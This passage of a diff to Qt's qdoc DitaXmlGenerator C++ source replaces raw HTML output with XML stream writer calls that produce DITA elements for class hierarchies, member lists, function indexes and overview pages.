+ Outputs the \e brief command as a <shortdesc> element.
*/
void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker)
{
- Text brief = node->doc().briefText();
+ Text brief = node->doc().briefText(true); // zzz
if (!brief.isEmpty()) {
- ++noLinks;
- writer.writeStartElement(SHORTDESC);
generateText(brief, node, marker);
- writer.writeEndElement(); // shortdesc
- --noLinks;
}
}
-void DitaXmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker)
+/*!
+ Writes the \c {#include ...} required to include the class
+ or namespace in a compilation.
+ */
+void DitaXmlGenerator::generateIncludes(const InnerNode* inner, CodeMarker* marker)
{
if (!inner->includes().isEmpty()) {
- out() << "<pre class=\"highlightedCode\">"
- << trimmedTrailing(highlightedCode(indent(codeIndent,
- marker->markedUpIncludes(inner->includes())),
- marker,inner))
- << "</pre>";
+ xmlWriter().writeStartElement("codeblock");
+ writeText(marker->markedUpIncludes(inner->includes()), marker, inner);
+ xmlWriter().writeEndElement(); // </codeblock>
}
}
/*!
+ zzz
Generates a table of contents beginning at \a node.
+ Currently just returns without writing anything.
*/
-void DitaXmlGenerator::generateTableOfContents(const Node *node,
- CodeMarker *marker,
- Doc::SectioningUnit sectioningUnit,
- int numColumns,
- const Node *relative)
+void DitaXmlGenerator::generateTableOfContents(const Node* node,
+ CodeMarker* marker,
+ Doc::SectioningUnit sectioningUnit,
+ int numColumns,
+ const Node* relative)
{
return;
@@ -2100,12 +2371,13 @@ void DitaXmlGenerator::generateTableOfContents(const Node *node,
}
/*!
+ zzz
Revised for the new doc format.
Generates a table of contents beginning at \a node.
*/
-void DitaXmlGenerator::generateTableOfContents(const Node *node,
- CodeMarker *marker,
- QList<Section>* sections)
+void DitaXmlGenerator::generateTableOfContents(const Node* node,
+ CodeMarker* marker,
+ QList<Section>* sections)
{
QList<Atom*> toc;
if (node->doc().hasTableOfContents())
@@ -2214,109 +2486,55 @@ void DitaXmlGenerator::generateTableOfContents(const Node *node,
inLink = false;
}
-QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode *inner,
- CodeMarker *marker)
+void DitaXmlGenerator::generateLowStatusMembers(const InnerNode* inner,
+ CodeMarker* marker,
+ CodeMarker::Status status)
{
- QList<Section> sections;
- QList<Section>::ConstIterator s;
-
- sections = marker->sections(inner,
- CodeMarker::SeparateList,
- CodeMarker::Okay);
- if (sections.isEmpty())
- return QString();
-
- QString fileName = fileBase(inner) + "-members." + fileExtension(inner);
- beginSubPage(inner->location(), fileName);
- QString title = "List of All Members for " + inner->name();
- generateHeader(inner);
- generateTitle(title, Text(), SmallSubTitle, inner, marker);
- out() << "<p>This is the complete list of members for ";
- generateFullName(inner, 0, marker);
- out() << ", including inherited members.</p>\n";
-
- Section section = sections.first();
- generateSectionList(section, 0, marker, CodeMarker::SeparateList);
-
- endSubPage();
- return fileName;
-}
+ QString attribute;
+ if (status == CodeMarker::Compat)
+ attribute = "Qt3-support";
+ else if (status == CodeMarker::Obsolete)
+ attribute = "obsolete";
+ else
+ return;
-QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode *inner,
- CodeMarker *marker,
- CodeMarker::Status status)
-{
- QList<Section> sections = marker->sections(inner,
- CodeMarker::Summary,
- status);
+ QList<Section> sections = marker->sections(inner, CodeMarker::Detailed, status);
QMutableListIterator<Section> j(sections);
while (j.hasNext()) {
if (j.next().members.size() == 0)
j.remove();
}
if (sections.isEmpty())
- return QString();
-
- int i;
-
- QString title;
- QString fileName;
-
- if (status == CodeMarker::Compat) {
- title = "Qt 3 Support Members for " + inner->name();
- fileName = fileBase(inner) + "-qt3." + fileExtension(inner);
- }
- else {
- title = "Obsolete Members for " + inner->name();
- fileName = fileBase(inner) + "-obsolete." + fileExtension(inner);
- }
-
- beginSubPage(inner->location(), fileName);
- generateHeader(inner);
- generateTitle(title, Text(), SmallSubTitle, inner, marker);
-
- if (status == CodeMarker::Compat) {
- out() << "<p><b>The following class members are part of the "
- "<xref href=\"qt3support.html\">Qt 3 support layer</xref>.</b> "
- "They are provided to help you port old code to Qt 4. We advise against "
- "using them in new code.</p>\n";
- }
- else {
- out() << "<p><b>The following class members are obsolete.</b> "
- << "They are provided to keep old source code working. "
- << "We strongly advise against using them in new code.</p>\n";
- }
-
- out() << "<p><ul><li><xref href=\""
- << linkForNode(inner, 0) << "\">"
- << protectEnc(inner->name())
- << " class reference</xref></li></ul></p>\n";
-
- for (i = 0; i < sections.size(); ++i) {
- out() << "<h2>" << protectEnc(sections.at(i).name) << "</h2>\n";
- generateSectionList(sections.at(i), inner, marker, CodeMarker::Summary);
- }
-
- sections = marker->sections(inner, CodeMarker::Detailed, status);
- for (i = 0; i < sections.size(); ++i) {
- out() << "<hr />\n";
- out() << "<h2>" << protectEnc(sections.at(i).name) << "</h2>\n";
+ return;
- NodeList::ConstIterator m = sections.at(i).members.begin();
- while (m != sections.at(i).members.end()) {
- if ((*m)->access() != Node::Private)
- generateDetailedMember(*m, inner, marker);
- ++m;
+ QList<Section>::ConstIterator s = sections.begin();
+ while (s != sections.end()) {
+ if ((*s).name == "Member Function Documentation") {
+ writeFunctions((*s),inner,marker,attribute);
+ }
+ else if ((*s).name == "Member Type Documentation") {
+ writeEnumerations((*s),marker,attribute);
+ writeTypedefs((*s),marker,attribute);
+ }
+ else if ((*s).name == "Member Variable Documentation") {
+ writeDataMembers((*s),marker,attribute);
}
+ else if ((*s).name == "Property Documentation") {
+ writeProperties((*s),marker,attribute);
+ }
+ else if ((*s).name == "Macro Documentation") {
+ writeMacros((*s),marker,attribute);
+ }
+ ++s;
}
-
- endSubPage();
- return fileName;
}
-void DitaXmlGenerator::generateClassHierarchy(const Node *relative,
- CodeMarker *marker,
- const QMap<QString,const Node*> &classMap)
+/*!
+ Write the XML for the class hierarchy to the current XML stream.
+ */
+void DitaXmlGenerator::generateClassHierarchy(const Node* relative,
+ CodeMarker* marker,
+ const QMap<QString,const Node*>& classMap)
{
if (classMap.isEmpty())
return;
@@ -2324,7 +2542,7 @@ void DitaXmlGenerator::generateClassHierarchy(const Node *relative,
NodeMap topLevel;
NodeMap::ConstIterator c = classMap.begin();
while (c != classMap.end()) {
- const ClassNode *classe = static_cast<const ClassNode *>(*c);
+ const ClassNode* classe = static_cast<const ClassNode*>(*c);
if (classe->baseClasses().isEmpty())
topLevel.insert(classe->name(), classe);
++c;
@@ -2333,70 +2551,87 @@ void DitaXmlGenerator::generateClassHierarchy(const Node *relative,
QStack<NodeMap > stack;
stack.push(topLevel);
- out() << "<ul>\n";
+ xmlWriter().writeStartElement("ul");
while (!stack.isEmpty()) {
if (stack.top().isEmpty()) {
stack.pop();
- out() << "</ul>\n";
+ xmlWriter().writeEndElement(); // </ul>
+ if (!stack.isEmpty())
+ xmlWriter().writeEndElement(); // </li>
}
else {
const ClassNode *child =
static_cast<const ClassNode *>(*stack.top().begin());
- out() << "<li>";
+ xmlWriter().writeStartElement("li");
generateFullName(child, relative, marker);
- out() << "</li>\n";
+ xmlWriter().writeEndElement(); // </li>
stack.top().erase(stack.top().begin());
NodeMap newTop;
foreach (const RelatedClass &d, child->derivedClasses()) {
- if (d.access != Node::Private)
+ if (d.access != Node::Private && !d.node->doc().isEmpty())
newTop.insert(d.node->name(), d.node);
}
if (!newTop.isEmpty()) {
stack.push(newTop);
- out() << "<ul>\n";
+ xmlWriter().writeStartElement("li");
+ xmlWriter().writeStartElement("ul");
}
}
}
}
-void DitaXmlGenerator::generateAnnotatedList(const Node *relative,
- CodeMarker *marker,
- const NodeMap &nodeMap)
+/*!
+ Write XML for the contents of the \a nodeMap to the current
+ XML stream.
+ */
+void DitaXmlGenerator::generateAnnotatedList(const Node* relative,
+ CodeMarker* marker,
+ const NodeMap& nodeMap)
{
- out() << "<table class=\"annotated\">\n";
+ if (nodeMap.isEmpty())
+ return;
+ xmlWriter().writeStartElement("table");
+ xmlWriter().writeAttribute("outputclass","annotated");
+ xmlWriter().writeStartElement("tgroup");
+ xmlWriter().writeAttribute("cols","2");
+ xmlWriter().writeStartElement("tbody");
- int row = 0;
- foreach (const QString &name, nodeMap.keys()) {
- const Node *node = nodeMap[name];
+ foreach (const QString& name, nodeMap.keys()) {
+ const Node* node = nodeMap[name];
if (node->status() == Node::Obsolete)
continue;
- if (++row % 2 == 1)
- out() << "<tr class=\"odd topAlign\">";
- else
- out() << "<tr class=\"even topAlign\">";
- out() << "<td><p>";
+ xmlWriter().writeStartElement("row");
+ xmlWriter().writeStartElement("entry");
+ xmlWriter().writeStartElement("p");
generateFullName(node, relative, marker);
- out() << "</p></td>";
+ xmlWriter().writeEndElement(); // </p>
+ xmlWriter().writeEndElement(); // <entry>
if (!(node->type() == Node::Fake)) {
Text brief = node->doc().trimmedBriefText(name);
if (!brief.isEmpty()) {
- out() << "<td><p>";
+ xmlWriter().writeStartElement("entry");
+ xmlWriter().writeStartElement("p");
generateText(brief, node, marker);
- out() << "</p></td>";
+ xmlWriter().writeEndElement(); // </p>
+ xmlWriter().writeEndElement(); // <entry>
}
}
else {
- out() << "<td><p>";
- out() << protectEnc(node->doc().briefText().toString());
- out() << "</p></td>";
+ xmlWriter().writeStartElement("entry");
+ xmlWriter().writeStartElement("p");
+ writeCharacters(protectEnc(node->doc().briefText().toString())); // zzz
+ xmlWriter().writeEndElement(); // </p>
+ xmlWriter().writeEndElement(); // <entry>
}
- out() << "</tr>\n";
+ xmlWriter().writeEndElement(); // </row>
}
- out() << "</table>\n";
+ xmlWriter().writeEndElement(); // </tbody>
+ xmlWriter().writeEndElement(); // </tgroup>
+ xmlWriter().writeEndElement(); // </table>
}
/*!
@@ -2408,11 +2643,11 @@ void DitaXmlGenerator::generateAnnotatedList(const Node *relative,
normally you let it figure it out itself by looking at
the name of the first and last classes in \a classMap.
*/
-void DitaXmlGenerator::generateCompactList(const Node *relative,
- CodeMarker *marker,
- const NodeMap &classMap,
- bool includeAlphabet,
- QString commonPrefix)
+void DitaXmlGenerator::generateCompactList(const Node* relative,
+ CodeMarker* marker,
+ const NodeMap& classMap,
+ bool includeAlphabet,
+ QString commonPrefix)
{
const int NumParagraphs = 37; // '0' to '9', 'A' to 'Z', '_'
@@ -2527,24 +2762,33 @@ void DitaXmlGenerator::generateCompactList(const Node *relative,
int curParNr = 0;
int curParOffset = 0;
+ QMap<QChar,QString> cmap;
/*
Output the alphabet as a row of links.
*/
if (includeAlphabet) {
- out() << "<p class=\"centerAlign functionIndex\"><b>";
+ xmlWriter().writeStartElement("p");
+ xmlWriter().writeAttribute("outputclass","alphabet");
for (int i = 0; i < 26; i++) {
QChar ch('a' + i);
- if (usedParagraphNames.contains(char('a' + i)))
- out() << QString("<xref href=\"#%1\">%2</xref>&nbsp;").arg(ch).arg(ch.toUpper());
+ if (usedParagraphNames.contains(char('a' + i))) {
+ xmlWriter().writeStartElement("xref");
+ QString guid = lookupGuid(outFileName(),QString(ch));
+ QString attr = outFileName() + QString("#%1").arg(guid);
+ xmlWriter().writeAttribute("href", attr);
+ xmlWriter().writeCharacters(QString(ch.toUpper()));
+ xmlWriter().writeEndElement(); // </xref>
+ }
}
- out() << "</b></p>\n";
+ xmlWriter().writeEndElement(); // </p>
}
/*
- Output a <div> element to contain all the <dl> elements.
+ Output a <p> element to contain all the <dl> elements.
*/
- out() << "<div class=\"flowListDiv\">\n";
+ xmlWriter().writeStartElement("p");
+ xmlWriter().writeAttribute("outputclass","compactlist");
for (int i=0; i<classMap.count()-1; i++) {
while ((curParNr < NumParagraphs) &&
@@ -2557,27 +2801,26 @@ void DitaXmlGenerator::generateCompactList(const Node *relative,
Starting a new paragraph means starting a new <dl>.
*/
if (curParOffset == 0) {
- if (i > 0)
- out() << "</dl>\n";
- if (++numTableRows % 2 == 1)
- out() << "<dl class=\"flowList odd\">";
- else
- out() << "<dl class=\"flowList even\">";
- out() << "<dt class=\"alphaChar\">";
+ if (i > 0) {
+ xmlWriter().writeEndElement(); // </dlentry>
+ xmlWriter().writeEndElement(); // </dl>
+ }
+ xmlWriter().writeStartElement("dl");
+ xmlWriter().writeStartElement("dlentry");
+ xmlWriter().writeStartElement("dt");
if (includeAlphabet) {
QChar c = paragraphName[curParNr][0].toLower();
- out() << QString("<a name=\"%1\"></a>").arg(c);
+ writeGuidAttribute(QString(c));
}
- out() << "<b>"
- << paragraphName[curParNr]
- << "</b>";
- out() << "</dt>\n";
+ xmlWriter().writeAttribute("outputclass","sublist-header");
+ xmlWriter().writeCharacters(paragraphName[curParNr]);
+ xmlWriter().writeEndElement(); // </dt>
}
/*
Output a <dd> for the current offset in the current paragraph.
*/
- out() << "<dd>";
+ xmlWriter().writeStartElement("dd");
if ((curParNr < NumParagraphs) &&
!paragraphName[curParNr].isEmpty()) {
NodeMap::Iterator it;
@@ -2589,148 +2832,115 @@ void DitaXmlGenerator::generateCompactList(const Node *relative,
Previously, we used generateFullName() for this, but we
require some special formatting.
*/
- out() << "<xref href=\"" << linkForNode(it.value(), relative) << "\">";
+ xmlWriter().writeStartElement("xref");
+ xmlWriter().writeAttribute("href",linkForNode(it.value(), relative));
QStringList pieces;
if (it.value()->subType() == Node::QmlClass)
pieces << it.value()->name();
else
pieces = fullName(it.value(), relative, marker).split("::");
- out() << protectEnc(pieces.last());
- out() << "</xref>";
+ xmlWriter().writeCharacters(protectEnc(pieces.last()));
+ xmlWriter().writeEndElement(); // </xref>
if (pieces.size() > 1) {
- out() << " (";
- generateFullName(it.value()->parent(), relative, marker);
- out() << ")";
+ xmlWriter().writeCharacters(" (");
+ generateFullName(it.value()->parent(),relative,marker);
+ xmlWriter().writeCharacters(")");
}
}
- out() << "</dd>\n";
+ xmlWriter().writeEndElement(); // </dd>
curParOffset++;
}
- out() << "</dl>\n";
- out() << "</div>\n";
+ xmlWriter().writeEndElement(); // </dlentry>
+ xmlWriter().writeEndElement(); // </dl>
+ xmlWriter().writeEndElement(); // </p>
}
-void DitaXmlGenerator::generateFunctionIndex(const Node *relative,
- CodeMarker *marker)
+/*!
+ Write XML for a function index to the current XML stream.
+ */
+void DitaXmlGenerator::generateFunctionIndex(const Node* relative,
+ CodeMarker* marker)
{
- out() << "<p class=\"centerAlign functionIndex\"><b>";
+ xmlWriter().writeStartElement("p");
+ xmlWriter().writeAttribute("outputclass","alphabet");
for (int i = 0; i < 26; i++) {
QChar ch('a' + i);
- out() << QString("<xref href=\"#%1\">%2</xref>&nbsp;").arg(ch).arg(ch.toUpper());
+ xmlWriter().writeStartElement("xref");
+ QString guid = lookupGuid(outFileName(),QString(ch));
+ QString attr = outFileName() + QString("#%1").arg(guid);
+ xmlWriter().writeAttribute("href", attr);
+ xmlWriter().writeCharacters(QString(ch.toUpper()));
+ xmlWriter().writeEndElement(); // </xref>
+
}
- out() << "</b></p>\n";
+ xmlWriter().writeEndElement(); // </p>
char nextLetter = 'a';
char currentLetter;
-#if 1
- out() << "<ul>\n";
-#endif
+ xmlWriter().writeStartElement("ul");
QMap<QString, NodeMap >::ConstIterator f = funcIndex.begin();
while (f != funcIndex.end()) {
-#if 1
- out() << "<li>";
-#else
- out() << "<p>";
-#endif
- out() << protectEnc(f.key()) << ":";
-
+ xmlWriter().writeStartElement("li");
currentLetter = f.key()[0].unicode();
while (islower(currentLetter) && currentLetter >= nextLetter) {
- out() << QString("<a name=\"%1\"></a>").arg(nextLetter);
+ xmlWriter().writeStartElement("p");
+ writeGuidAttribute(QString(nextLetter));
+ xmlWriter().writeAttribute("outputclass","target");
+ xmlWriter().writeCharacters(QString(nextLetter));
+ xmlWriter().writeEndElement(); // </p>
nextLetter++;
}
+ xmlWriter().writeCharacters(protectEnc(f.key()));
+ xmlWriter().writeCharacters(":");
NodeMap::ConstIterator s = (*f).begin();
while (s != (*f).end()) {
- out() << " ";
generateFullName((*s)->parent(), relative, marker, *s);
++s;
}
-#if 1
- out() << "</li>";
-#else
- out() << "</p>";
-#endif
- out() << "\n";
+ xmlWriter().writeEndElement(); // </li>
++f;
}
-#if 1
- out() << "</ul>\n";
-#endif
+ xmlWriter().writeEndElement(); // </ul>
}
-void DitaXmlGenerator::generateLegaleseList(const Node *relative,
- CodeMarker *marker)
+/*!
+ Write the legalese texts as XML to the current XML stream.
+ */
+void DitaXmlGenerator::generateLegaleseList(const Node* relative,
+ CodeMarker* marker)
{
- QMap<Text, const Node *>::ConstIterator it = legaleseTexts.begin();
+ QMap<Text, const Node*>::ConstIterator it = legaleseTexts.begin();
while (it != legaleseTexts.end()) {
Text text = it.key();
- out() << "<hr />\n";
generateText(text, relative, marker);
- out() << "<ul>\n";
+ xmlWriter().writeStartElement("ul");
do {
- out() << "<li>";
+ xmlWriter().writeStartElement("li");
generateFullName(it.value(), relative, marker);
- out() << "</li>\n";
+ xmlWriter().writeEndElement(); // </li>
++it;
} while (it != legaleseTexts.end() && it.key() == text);
- out() << "</ul>\n";
+ xmlWriter().writeEndElement(); //</ul>
}
}
-/*void DitaXmlGenerator::generateSynopsis(const Node *node,
- const Node *relative,
- CodeMarker *marker,
- CodeMarker::SynopsisStyle style)
-{
- QString marked = marker->markedUpSynopsis(node, relative, style);
- QRegExp templateTag("(<[^@>]*>)");
- if (marked.indexOf(templateTag) != -1) {
- QString contents = protectEnc(marked.mid(templateTag.pos(1),
- templateTag.cap(1).length()));
- marked.replace(templateTag.pos(1), templateTag.cap(1).length(),
- contents);
- }
- marked.replace(QRegExp("<@param>([a-z]+)_([1-9n])</@param>"),
- "<i>\\1<sub>\\2</sub></i>");
- marked.replace("<@param>", "<i>");
- marked.replace("</@param>", "</i>");
-
- if (style == CodeMarker::Summary)
- marked.replace("@name>", "b>");
-
- if (style == CodeMarker::SeparateList) {
- QRegExp extraRegExp("<@extra>.*</@extra>");
- extraRegExp.setMinimal(true);
- marked.replace(extraRegExp, "");
- }
- else {
- marked.replace("<@extra>", "&nbsp;&nbsp;<tt>");
- marked.replace("</@extra>", "</tt>");
- }
-
- if (style != CodeMarker::Detailed) {
- marked.replace("<@type>", "");
- marked.replace("</@type>", "");
- }
- out() << highlightedCode(marked, marker, relative);
-}*/
-
-#ifdef QDOC_QML
-void DitaXmlGenerator::generateQmlItem(const Node *node,
- const Node *relative,
- CodeMarker *marker,
- bool summary)
+/*!
+ Generate the text for the QML item described by \a node
+ and write it to the current XML stream.
+ */
+void DitaXmlGenerator::generateQmlItem(const Node* node,
+ const Node* relative,
+ CodeMarker* marker,
+ bool summary)
{
QString marked = marker->markedUpQmlItem(node,summary);
- QRegExp templateTag("(<[^@>]*>)");
- if (marked.indexOf(templateTag) != -1) {
- QString contents = protectEnc(marked.mid(templateTag.pos(1),
- templateTag.cap(1).length()));
- marked.replace(templateTag.pos(1), templateTag.cap(1).length(),
- contents);
+ QRegExp tag("(<[^@>]*>)");
+ if (marked.indexOf(tag) != -1) {
+ QString tmp = protectEnc(marked.mid(tag.pos(1), tag.cap(1).length()));
+ marked.replace(tag.pos(1), tag.cap(1).length(), tmp);
}
marked.replace(QRegExp("<@param>([a-z]+)_([1-9n])</@param>"),
"<i>\\1<sub>\\2</sub></i>");
@@ -2747,21 +2957,23 @@ void DitaXmlGenerator::generateQmlItem(const Node *node,
marked.replace("<@type>", "");
marked.replace("</@type>", "");
}
- out() << highlightedCode(marked, marker, relative);
+ writeText(marked, marker, relative);
}
-#endif
-void DitaXmlGenerator::generateOverviewList(const Node *relative, CodeMarker * /* marker */)
+/*!
+ Writher the XML for the overview list to the current XML stream.
+ */
+void DitaXmlGenerator::generateOverviewList(const Node* relative, CodeMarker* /* marker */)
{
- QMap<const FakeNode *, QMap<QString, FakeNode *> > fakeNodeMap;
- QMap<QString, const FakeNode *> groupTitlesMap;
- QMap<QString, FakeNode *> uncategorizedNodeMap;
+ QMap<const FakeNode*, QMap<QString, FakeNode*> > fakeNodeMap;
+ QMap<QString, const FakeNode*> groupTitlesMap;
+ QMap<QString, FakeNode*> uncategorizedNodeMap;
QRegExp singleDigit("\\b([0-9])\\b");
const NodeList children = myTree->root()->childNodes();
- foreach (Node *child, children) {
+ foreach (Node* child, children) {
if (child->type() == Node::Fake && child != relative) {
- FakeNode *fakeNode = static_cast<FakeNode *>(child);
+ FakeNode* fakeNode = static_cast<FakeNode*>(child);
// Check whether the page is part of a group or is the group
// definition page.
@@ -2793,24 +3005,25 @@ void DitaXmlGenerator::generateOverviewList(const Node *relative, CodeMarker * /
if (isGroupPage) {
// If we encounter a group definition page, we add all
// the pages in that group to the list for that group.
- foreach (Node *member, fakeNode->groupMembers()) {
+ foreach (Node* member, fakeNode->groupMembers()) {
if (member->type() != Node::Fake)
continue;
- FakeNode *page = static_cast<FakeNode *>(member);
+ FakeNode* page = static_cast<FakeNode*>(member);
if (page) {
QString sortKey = page->fullTitle().toLower();
if (sortKey.startsWith("the "))
sortKey.remove(0, 4);
sortKey.replace(singleDigit, "0\\1");
- fakeNodeMap[const_cast<const FakeNode *>(fakeNode)].insert(sortKey, page);
- groupTitlesMap[fakeNode->fullTitle()] = const_cast<const FakeNode *>(fakeNode);
+ fakeNodeMap[const_cast<const FakeNode*>(fakeNode)].insert(sortKey, page);
+ groupTitlesMap[fakeNode->fullTitle()] = const_cast<const FakeNode*>(fakeNode);
}
}
}
else if (!isGroupPage) {
// If we encounter a page that belongs to a group then
// we add that page to the list for that group.
- const FakeNode *groupNode = static_cast<const FakeNode *>(myTree->root()->findNode(group, Node::Fake));
+ const FakeNode* groupNode =
+ static_cast<const FakeNode*>(myTree->root()->findNode(group, Node::Fake));
if (groupNode)
fakeNodeMap[groupNode].insert(sortKey, fakeNode);
//else
@@ -2829,241 +3042,172 @@ void DitaXmlGenerator::generateOverviewList(const Node *relative, CodeMarker * /
// pages in that group are listed for completeness.
if (!fakeNodeMap.isEmpty()) {
- foreach (const QString &groupTitle, groupTitlesMap.keys()) {
- const FakeNode *groupNode = groupTitlesMap[groupTitle];
- out() << QString("<h3><xref href=\"%1\">%2</xref></h3>\n").arg(
- linkForNode(groupNode, relative)).arg(
- protectEnc(groupNode->fullTitle()));
-
+ foreach (const QString& groupTitle, groupTitlesMap.keys()) {
+ const FakeNode* groupNode = groupTitlesMap[groupTitle];
+ xmlWriter().writeStartElement("p");
+ xmlWriter().writeAttribute("outputclass","h3");
+ xmlWriter().writeStartElement("xref");
+ xmlWriter().writeAttribute("href",linkForNode(groupNode, relative));
+ writeCharacters(protectEnc(groupNode->fullTitle()));
+ xmlWriter().writeEndElement(); // </xref>
+ xmlWriter().writeEndElement(); // </p>
if (fakeNodeMap[groupNode].count() == 0)
continue;
- out() << "<ul>\n";
-
- foreach (const FakeNode *fakeNode, fakeNodeMap[groupNode]) {
+ xmlWriter().writeStartElement("ul");
+ foreach (const FakeNode* fakeNode, fakeNodeMap[groupNode]) {
QString title = fakeNode->fullTitle();
if (title.startsWith("The "))
title.remove(0, 4);
- out() << "<li><xref href=\"" << linkForNode(fakeNode, relative) << "\">"
- << protectEnc(title) << "</xref></li>\n";
+ xmlWriter().writeStartElement("li");
+ xmlWriter().writeStartElement("xref");
+ xmlWriter().writeAttribute("href",linkForNode(fakeNode, relative));
+ writeCharacters(protectEnc(title));
+ xmlWriter().writeEndElement(); // </xref>
+ xmlWriter().writeEndElement(); // </li>
}
- out() << "</ul>\n";
+ xmlWriter().writeEndElement(); // </ul>
}
}
if (!uncategorizedNodeMap.isEmpty()) {
- out() << QString("<h3>Miscellaneous</h3>\n");
- out() << "<ul>\n";
+ xmlWriter().writeStartElement("p");
+ xmlWriter().writeAttribute("outputclass","h3");
+ xmlWriter().writeCharacters("Miscellaneous");
+ xmlWriter().writeEndElement(); // </p>
+ xmlWriter().writeStartElement("ul");
foreach (const FakeNode *fakeNode, uncategorizedNodeMap) {
QString title = fakeNode->fullTitle();
if (title.startsWith("The "))
title.remove(0, 4);
- out() << "<li><xref href=\"" << linkForNode(fakeNode, relative) << "\">"
- << protectEnc(title) << "</xref></li>\n";
+ xmlWriter().writeStartElement("li");
+ xmlWriter().writeStartElement("xref");
+ xmlWriter().writeAttribute("href",linkForNode(fakeNode, relative));
+ writeCharacters(protectEnc(title));
+ xmlWriter().writeEndElement(); // </xref>
+ xmlWriter().writeEndElement(); // </li>
}
- out() << "</ul>\n";
+ xmlWriter().writeEndElement(); // </ul>
}
}
+/*!
+ Write the XML for a standard section of a page, e.g.
+ "Public Functions" or "Protected Slots." The section
+ is written too the current XML stream as a table.
+ */
void DitaXmlGenerator::generateSection(const NodeList& nl,
- const Node *relative,
- CodeMarker *marker,
- CodeMarker::SynopsisStyle style)
+ const Node* relative,
+ CodeMarker* marker,
+ CodeMarker::SynopsisStyle style)
{
- bool name_alignment = true;
if (!nl.isEmpty()) {
- bool twoColumn = false;
- if (style == CodeMarker::SeparateList) {
- name_alignment = false;
- twoColumn = (nl.count() >= 16);
- }
- else if (nl.first()->type() == Node::Property) {
- twoColumn = (nl.count() >= 5);
- name_alignment = false;
- }
- if (name_alignment) {
- out() << "<table class=\"alignedsummary\">\n";
- }
- else {
- if (twoColumn)
- out() << "<table class=\"propsummary\">\n"
- << "<tr><td class=\"topAlign\">";
- out() << "<ul>\n";
- }
-
- int i = 0;
+ xmlWriter().writeStartElement("ul");
NodeList::ConstIterator m = nl.begin();
while (m != nl.end()) {
- if ((*m)->access() == Node::Private) {
- ++m;
- continue;
+ if ((*m)->access() != Node::Private) {
+ xmlWriter().writeStartElement("li");
+ QString marked = getMarkedUpSynopsis(*m, relative, marker, style);
+ writeText(marked, marker, relative);
+ xmlWriter().writeEndElement(); // </li>
}
-
- if (name_alignment) {
- out() << "<tr><td class=\"memItemLeft rightAlign topAlign\"> ";
- }
- else {
- if (twoColumn && i == (int) (nl.count() + 1) / 2)
- out() << "</ul></td><td class=\"topAlign\"><ul>\n";
- out() << "<li class=\"fn\">";
- }
-
- generateSynopsis(*m, relative, marker, style, name_alignment);
- if (name_alignment)
- out() << "</td></tr>\n";
- else
- out() << "</li>\n";
- i++;
++m;
}
- if (name_alignment)
- out() << "</table>\n";
- else {
- out() << "</ul>\n";
- if (twoColumn)
- out() << "</td></tr>\n</table>\n";
- }
- }
-}
-
-void DitaXmlGenerator::generateSectionList(const Section& section,
- const Node *relative,
- CodeMarker *marker,
- CodeMarker::SynopsisStyle style)
-{
- bool name_alignment = true;
- if (!section.members.isEmpty()) {
- bool twoColumn = false;
- if (style == CodeMarker::SeparateList) {
- name_alignment = false;
- twoColumn = (section.members.count() >= 16);
- }
- else if (section.members.first()->type() == Node::Property) {
- twoColumn = (section.members.count() >= 5);
- name_alignment = false;
- }
- if (name_alignment) {
- out() << "<table class=\"alignedsummary\">\n";
- }
- else {
- if (twoColumn)
- out() << "<table class=\"propsummary\">\n"
- << "<tr><td class=\"topAlign\">";
- out() << "<ul>\n";
- }
-
- int i = 0;
- NodeList::ConstIterator m = section.members.begin();
- while (m != section.members.end()) {
- if ((*m)->access() == Node::Private) {
- ++m;
- continue;
- }
-
- if (name_alignment) {
- out() << "<tr><td class=\"memItemLeft topAlign rightAlign\"> ";
- }
- else {
- if (twoColumn && i == (int) (section.members.count() + 1) / 2)
- out() << "</ul></td><td class=\"topAlign\"><ul>\n";
- out() << "<li class=\"fn\">";
- }
-
- generateSynopsis(*m, relative, marker, style, name_alignment);
- if (name_alignment)
- out() << "</td></tr>\n";
- else
- out() << "</li>\n";
- i++;
- ++m;
- }
- if (name_alignment)
- out() << "</table>\n";
- else {
- out() << "</ul>\n";
- if (twoColumn)
- out() << "</td></tr>\n</table>\n";
- }
- }
-
- if (style == CodeMarker::Summary && !section.inherited.isEmpty()) {
- out() << "<ul>\n";
- generateSectionInheritedList(section, relative, marker, name_alignment);
- out() << "</ul>\n";
+ xmlWriter().writeEndElement(); // </ul>
}
}
+/*!
+ Writes the "inherited from" list to the current XML stream.
+ */
void DitaXmlGenerator::generateSectionInheritedList(const Section& section,
- const Node *relative,
- CodeMarker *marker,
- bool nameAlignment)
+ const Node* relative,
+ CodeMarker* marker)
{
- QList<QPair<ClassNode *, int> >::ConstIterator p = section.inherited.begin();
+ if (section.inherited.isEmpty())
+ return;
+ xmlWriter().writeStartElement("ul");
+ QList<QPair<ClassNode*,int> >::ConstIterator p = section.inherited.begin();
while (p != section.inherited.end()) {
- if (nameAlignment)
- out() << "<li class=\"fn\">";
+ xmlWriter().writeStartElement("li");
+ QString text;
+ text.setNum((*p).second);
+ text += " ";
+ if ((*p).second == 1)
+ text += section.singularMember;
else
- out() << "<li class=\"fn\">";
- out() << (*p).second << " ";
- if ((*p).second == 1) {
- out() << section.singularMember;
- }
- else {
- out() << section.pluralMember;
- }
- out() << " inherited from <xref href=\"" << fileName((*p).first)
- << "#" << DitaXmlGenerator::cleanRef(section.name.toLower()) << "\">"
- << protectEnc(marker->plainFullName((*p).first, relative))
- << "</xref></li>\n";
+ text += section.pluralMember;
+ text += " inherited from ";
+ writeCharacters(text);
+ xmlWriter().writeStartElement("xref");
+ // zzz
+ text = fileName((*p).first) + "#";
+ text += DitaXmlGenerator::cleanRef(section.name.toLower());
+ xmlWriter().writeAttribute("href",text);
+ text = protectEnc(marker->plainFullName((*p).first, relative));
+ writeCharacters(text);
+ xmlWriter().writeEndElement(); // </xref>
+ xmlWriter().writeEndElement(); // </li>
++p;
}
+ xmlWriter().writeEndElement(); // </ul>
}
-void DitaXmlGenerator::generateSynopsis(const Node *node,
- const Node *relative,
- CodeMarker *marker,
- CodeMarker::SynopsisStyle style,
- bool nameAlignment)
+/*!
+ Get the synopsis from the \a node using the \a relative
+ node if needed, and mark up the synopsis using \a marker.
+ Use the style to decide which kind of sysnopsis to build,
+ normally \c Summary or \c Detailed. Return the marked up
+ string.
+ */
+QString DitaXmlGenerator::getMarkedUpSynopsis(const Node* node,
+ const Node* relative,
+ CodeMarker* marker,
+ CodeMarker::SynopsisStyle style)
{
